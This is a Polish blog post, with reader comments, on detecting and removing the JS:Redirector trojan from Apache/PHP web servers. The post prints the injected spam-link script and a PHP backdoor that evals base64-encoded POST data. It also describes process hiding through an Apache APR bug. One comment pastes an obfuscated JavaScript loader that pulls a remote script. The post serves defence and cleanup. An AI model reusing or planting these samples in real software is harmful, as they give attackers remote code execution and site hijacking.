Jak usunąć trojan JS:Redirector

Walczyłem z nim przeszło miesiąc. Na początku mimo zgłaszanych alertów ze strony użytkowników, sam nie widziałem problemu, ponieważ mój antywirus AVG nie zgłaszał żadnego zagrożenia. Antywirusy jakie „krzyczały” o intruzie to m.in.: Avast! oraz KIS. Niestety, ale w przeciągu ostatniego tygodnia ilość zgłoszeń znacznie wzrosła – i to nie tylko w jednym z moich serwisów, ale właściwie na każdym trzymanym na moim serwerze.
To był najwyższy czas, aby wziąć sprawę w swoje ręce.

Czym objawiał się ten trojan?

Robak wybranym losowo plikom aktualnie pobieranym z serwera przez odwiedzających jednorazowo zamieniał zawartość na jego własną. W większości przypadków były to pliki graficzne, z czego 75% to favicon.ico.

Doklejanym kodem był skrypt JS, który wygląda następująco:

<script type="text/javascript" language="javascript"> var tlqhhva=new Date( ); tlqhhva.setTime(tlqhhva.getTime( )+12*60*60*1000); document.cookie="nx5fsesx73_idx3d53dx312540afaf174fd0466f84x316x35afx65e3"+"; path=/x3b exx70151x72es="+tlqhhva.toGMTString( ); </script>
<script>document.write(String.fromCharCode(59+1,100,105,118,32,115,116,121,108,101,61,39,

100,105,115,112,108,97,121,58,110,111,110,101,39,62))</script><a href="http://keygenguru.com">crack download</a>&nbsp; <h1><a href="http://keygenguru.com">serials</a>&nbsp; </h1><h1><a href="http://keygenguru.com">cracks</a>&nbsp; </h1>96.50.164.106 <h1><a href="http://www.getcoolmovies.com/movies/countries/usa/avatar/">Watch Avatar movie</a>&nbsp; </h1><a href="http://www.getcoolmovies.com/movies/countries/usa/avatar/">Buy Avatar movie</a>&nbsp; 249.122.20.35 <h1><a href="http://keygenguru.com/movies.php">online movies</a>&nbsp; </h1><a href="http://keygenguru.com/movies.php">download movie</a>&nbsp; 178.4.93.87 <a href="http://supersoftwarestore.com">buy cheap software</a>&nbsp; <h1><a href="http://supersoftwarestore.com">cheap software</a>&nbsp; </h1>83.52.50.31 <h1><a href="http://keygenguru.com/software/Microsoft-Windows-Vista-sp2-x64-adobe-cs4-master-colletion.html">Buy Microsoft Windows Vista SP2 x64  Adobe CS4 Master Collection</a>&nbsp; </h1><h1><a href="http://keygenguru.com/software/Autodesk-inventor-2010.html">Buy Autodesk Inventor 2010 </a>&nbsp; </h1><a href="http://keygenguru.com/software/newtek-lightwave-3d-9.html">Download NewTek Lightwave 3D 9</a>&nbsp; <h1><a href="http://keygenguru.com/software/the-foundry-nuke-maximun-2009.html">Buy The Foundry Nuke: Maximum 2009</a>&nbsp; </h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-Portuguese-for-mac.html">Download Rosetta Stone Version 3: Portuguese(Brazil) Level 1, 2 Set for mac</a>&nbsp; <h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-Italian-for-mac.html">Download Rosetta Stone Version 3: Italian Level 1, 2 & 3 Set for mac</a>&nbsp; </h1><a href="http://keygenguru.com/software/Rosetta-Stone-Version-3-hebrew-for-mac.html">Buy Rosetta Stone Version 3: Hebrew Level 1, 2 for mac</a>&nbsp; <a href="http://keygenguru.com/software/Microsoft-Windows-Vista-sp2-x64-adobe-cs4-master-colletion.html">Download Microsoft Windows Vista SP2 x64  Adobe CS4 Master Collection</a>&nbsp; <h1><a href="http://keygenguru.com/software/nuance-omnipage-17-and-paper-report.html">Download Nuance OmniPage 17 Pro with Paper Report</a>&nbsp; </h1>

Drugiego takiego nie znajdziecie w sieci, ponieważ robak dla każdego serwera generuje inną zmienną którą się posługuje. W moim przypadku była to tlqhhva. Sam w sobie nie jest groźny, ponieważ wyświetla tylko i wyłącznie swoje linki. Strona z takimi linkami wygląda następująco:

Po odświeżeniu strony, mamy dużą szansę, że linków już nie zobaczymy. I nawet jak Avast wykryje wirusa i przejrzymy potem plik w którym był trojan, to nie zobaczymy żadnej podejrzanej zawartości.

Trojan jednorazowo w sposób losowy wybiera sobie plik, podmienia mu źródło, po czym przywraca jego domyślną zawartość. W ten sposób trojan jest ciężki do namierzenia, ponieważ „zarażone” pliki są w gruncie rzeczy czyste ze złośliwego kodu.

Jak działa trojan?

Nie wiem w jaki sposób, ale w jakiś sposób trojan musiał wcześniej dokleić kawałek swojego kodu PHP do niektórych plików na serwerze. Ostatnio znane są ataki trojanów przez niezabezpieczone wersje Total Commander, więc możliwe, że przez to, ale pewności nie mam.

Doklejony kod PHP wygląda następująco:

/*16dabdc1cc53d214162e11e6d1cd7c8e*/if(isset($_POST["p"])&&$_POST["p"]=="6510abeadb59058374114a9735e0dca5"){eval(base64_decode($_POST["c"]));exit;}/*16dabdc1cc53d214162e11e6d1cd7c8e*/

umieszczony jest w pierwszej linijce pliku. Tuż za <?php i dużą ilością spacji, aby edytor bez zawijania wierszy (w którym będziemy przeglądać pliki) nie wyświetliły tego podejrzanego kodu.
System działania jest bardzo prosty – raz na jakiś czas z serwera intruza wysyłane są zakodowane dane metodą POST do tego zarażonego pliku. Skrypt dzięki base64_decode() odkodowuje je, a eval() wykonuje polecenie systemowe.
Uruchamiany jest plik binarny (tworzony z losową nazwa, ustawiany chmod ) który wykorzystuje bug w APR w Apachu https://issues.apache.org/bugzilla/show_bug.cgi?id=46425 dzięki temu programowi udaje sie zbindowac jako jeden z podprocesow (child) apache w trybie MPM prefork na porcie 80. Dodatkowo proces ukrywa sie pod nazwa Apacza (zmieniona jest nazwa procesu argv[0] i w liscie procesow widac go jako zwykly proces Apacha).
Dodatkowo skrypt przekazany przez POST php usuwa tą binarke gdy ja uruchomi tak, że nie ma żadnych śladów po włamie. Binarka ta dzięki temu, że przejela wszystkie fdsy od Apacza listuje na porcie 80 i co jakiś czas wysyła do losowych klientów swój kod trojana.

Jak się go pozbyć?

Od strony użytkownika poprawka jest prosta wystarczy wywalić kod backdora w skryptach php, zmienić hasło do ft , przeskanować swój komputer pod katem trojanów wykradających hasła.
Plików PHP najczęściej mamy setki, tysiące. Jak więc wykryć zarażone pliki?
Skorzystajmy z gotowego skryptu, który przeszukuje wszystkie pliki i wyszukuję wystąpienie ciągu „eval(base64_decode” – http://www.blueman.pl/zrodla/apache_fork_hack_finder_cleaner.sh
Ja na szczęście złośliwy kod miałem tylko w 2 plikach, więc ręcznie usunąłem backdoor’y.

Od strony administratora przedstawia się to znacznie gorzej.
Najpierw sprawdźmy, czy nasz Apache jest wystarczająco bezpieczny – http://www.blueman.pl/zrodla/apr_test.phps
Można nałożyć patcha na APR lub zablokować funkcje exec() w php. Innym rozwiązaniem jest zrezygnowanie z mod_php i przejście na fcgi lub suphp z odpowiednim patchem na zestaw funkcji exec() w php.

Warto po każdej czynności restartować serwera Apache – dzięki czemu będziemy mieć pewność, że potomny proces nie jest uruchomiony i nie zaraża w między czasie innych plików. Po restarcie ponownie przeskanujmy pliki w poszukiwaniu backdoor’owego kodu.

Życzę wam powodzenia w zwalczeniu tego ustrojstwa! Które przez swoją randomowość wyboru plików, przywracanie domyślnej zawartości pliku oraz ukrywanie się jako proces Apache, jest bardzo trudne do namierzenia.

Czekam także na Wasze spostrzeżenia na ten temat – zostawcie je w komentarzach :)

  • http://www.neddy.name/ Neddy

    Thx, I have the same problem :(

  • http://www.BlueForum.pl BlueMan

    If you have same problem with polish-english translate, contact me ;)

    • http://www.neddy.name/ Neddy

      I am from Czech Rep. and I have Google Translator :)

  • Patryk

    BlueMan, jak skorzystać z tego http://www.blueman.pl/zrodla/apache_fork_hack_finder_cleaner.sh ? Mam serwer shared w hekko.pl.

  • Patryk

    U mnie pokazuje się : /*GNU GPL*/ try{window.onload = function(){var Xuyks78y1tk2 = document.createElement(‚s!&c@$@r))$i)!!$p((&t^’.replace(/&|(|!|$|^|#|@|)/ig, ”));Xuyks78y1tk2.setAttribute(‚type’, ‚text/javascript’);Xuyks78y1tk2.setAttribute(‚src’, ‚h#(t&$)@t)@#!p$^:)&(/@@&/#!&c^s^d^@@n!^-#$^n@#)e)$(t&(@$.!@$^w!(u$n&(((d(e^^r$$)g&##r$$o((#u$&)#$n&!^)d@.@c)(#o@#^m$.(@^^$a&!o^l^)@^-^c&)o#(-^u(^(k(.@!!!)m$u)@^s@i&@c(#&^)b^&o^x#$!p$$#(@r#&o(@!.##$r(&$u^&)!:#&^8$@0#^8@0)()#/(@g^^o###!o(g@l(!$^e$^$^&.)@c#!!(o!m(/$@@g(^o$(@o$&&)!g^@(!l!e!^)!.@)c&^o&)!m$)(@/)!(h@))y&@^v)@e#&$!$s((.@!$&n!(^!l)!@/&(e!)s!$#p!n#.^)!@g@&o&#.^c#!o)m!(^()/!s@o^)f@t^#p#$)#e$d#@&i&@$a#.^(c)!^!(o!m@/$$$^)’.replace(/)|@|$|!|&|#|(|^/ig, ”));Xuyks78y1tk2.setAttribute(‚defer’, ‚defer’);Xuyks78y1tk2.setAttribute(‚id’, ‚E@^($2@!u#^f^(d)s&^&$)v##(s#)&p$)^3#!^9@#&z(!f&#^!’.replace(/^|@|)|!|#|&|(|$/ig, ”));document.body.appendChild(Xuyks78y1tk2);}} catch(e) {}
    Usunąłem to z pliku index.html. Jak myślisz? czy to wszystko?

  • http://www.BlueForum.pl BlueMan

    @Patryk – ściągnij pliki i pod linuxem uruchom sh ./apache_fork_hack_finder_cleaner.sh

    Obserwuj, to będziesz wiedzieć, czy to to. Ale nie wygląda to na to samo.

  • czytelnik

    Witam.

    No i stało się. Moja „inteligentna” inaczej siostra zawirusowała mi komputer.
    I z tego co widzę po logach z programu antywirusowego jest to JS:Redirector.
    I teraz pytanie. Czy jeśli miałem dane do FTP zapisane w FileZilla to moje strony mogą czuć się bezpiecznie??? Co zrobić???

  • http://www.BlueForum.pl BlueMan

    Raczej nie. Zmień hasła do FTP jak najszybciej. Przezorny zawsze bezpieczny ;)

  • czytelnik

    Hasła zmieniłem od razu. Jednak nie wiem co dalej.
    Na pewnym forum umieszczam logi z różnych skanerów, by pozbyć się tego szajsu. Mam nadzieje, że na w komputerze nie siedzi aż tak zawzięcie jak na serwerach.

  • http://linkiem.eu Mateusz

    Jeśli chodzi o przechowywanie haseł w programach FTP nie robiłbym tego w Total Commanderze, jeśli chodzi o FileZilla myślę, że można uznać ten program za w miarę bezpieczny.

  • Patryk

    Znów to samo ;(
    Wirus powrócił…
    Blueman, poradź… co robić? ;/

  • http://prox.progamela.net Prox

    Nie używać TCMD !

    • http://bogdan.at Bogdan

      Bzdura, myśląc w ten sposób łatwo można dojść do wniosku, że nie powinno się używać żadnego programu do łączenia FTP w Windowsie. FileZilla jest tak samo narażona na wirusa wykradającego hasła jak TotalCMD. W gruncie rzeczy w żadnym programie nie powinno się zapisywać haseł.

  • http://www.BlueForum.pl BlueMan

    @Bogdan ma rację – nie ma znaczenia jakiego programu używamy. Każdy może być podatny na atak.

  • macis

    Jak ten plik „apache_fork_hack_finder_cleaner.sh” się uruchamia/używa ?
    Używam Windows Vista i mam serwer wirtualny w linuxpl.com

    • http://www.BlueForum.pl BlueMan

      W konsoli na linuxie wpisz
      sh ./apache_fork_hach_finder_cleaner.sh
      Najpierw dając mu pełne prawa.

  • macis

    Dzięki za szybka odp.!
    A da się skorzystać pod Viste? bo nie mam linuxa.

  • http://www.BlueForum.pl BlueMan

    Ty musisz to zrobić na serwer gdzie trzymasz strony, a nie na komputerze.
    Trojan ten nie działa zresztą pod Windowsem.

  • macis

    A tą konsola na linuxie to gdzie się znajduje na serwerze, jak ją włączyć?

  • http://www.BlueForum.pl BlueMan

    Musisz zagadać do administratora serwera. Linuxpl.com udostępnia konsolę na życzenie. Ale jeśli nie masz zielonego pojęcia jak się z nią obchodzić, to będzie ci ciężko cokolwiek zdziałać.

  • igman

    Jestem zwykłą użytkowniczką internetu, a od dzisiaj przy wchodzeniu na większość stron www mam informacje od Kasperskiego, że strona jest zawirusowana koniem trojańskim Redirector. Czy ja mam się czegoś obawiać, czy to znaczy, ze mam tym wirusem zawirusowany komputer? Bardzo proszę o odpowiedz?

  • EL

    Ja też od dziś się z tym gównem męczę, szukam po stronach jakiś informacji i nic z tego nie rozumiem. Mam Kasperski antywirus i liczę na ich aktualizację co do tego trojana. I cholera jasna obawiam się o moje hasła i loginy -,-” Ehh nie wiem co począć.

  • julex

    mam ten sam problem i nie wim co zrobic… co chwile mi wyskakuje komunikat o tym badziewiu i robie kwarantanne ale to nic nie pomaga nie kumam rad powyzej poniewaz jestem noobem w sprawach informatycznych ktos moglby to wytlumaczyc krok po kroku??? instrukcje dla idiotow poprosze

  • CINEK

    BlueMan: poniżej link do podobnego świnstwa:

    http://www.uptime.cz/100452-site-a-internet_Linux-Apache-Attack.html

  • SATRO

    Error 404 – Not Found

    Nie ma takiej strony. czy na pewno dobry odnośnik kliknąłeś?

    :(:(:( Pomożesz mi jakoś?

  • http://www.BlueForum.pl BlueMan

    Powinieneś napisać o jaki odnośnik chodzi ;) zgadywałem, ponieważ akurat szklana kula wróciła mi z naprawy i się udało. Ostatnio usunąłem te pliki, teraz powinny być już osiągalne.

  • SATRO

    http://www.blueman.pl/zrodla/apache_fork_hack_finder_cleaner.sh
    W końcu zrobiłem to metodą siłową :D Zresetowałem domenę, zainstalowałem na nowo i przepiąłem DB. Komunikat był o tym śmieciu, ale to chyba jakiś mutant, bo kodu w źródłach nie znalazło :/

  • http://www.studencka-architektura.pl zadymiakk

    mam trzy strony – wszystkie na jednym ftp – wszystkie zaatakowane tym js:redirector.
    nie udostepniam nikomu hasła – używam total commander.
    po usunięciu wszystkiego – dziś znowu to samo.
    ja usuwam szukająć w tc plików ostatnio zmienionych. u mnie dokleja inny kod.
    ale jak zbezpieczyć serwisy przed kolejnymi atakami – nadal nie wiem.
    administrator mówi – że serwer jest zabezpieczony.

  • http://www.studencka-architektura.pl zadymiakk

    update: avast wykrywa js:redirector, a eset jako Kryptik.AC

  • http://www.studencka-architektura.pl zadymiakk

    dokleja do plików html, i js cos takiego: http://wklej.org/id/502879/
    a do php coś takiego: http://wklej.org/id/502881/

  • emilka

    a mi się przez fb sciagnal trojan jak moge się go pozbyc?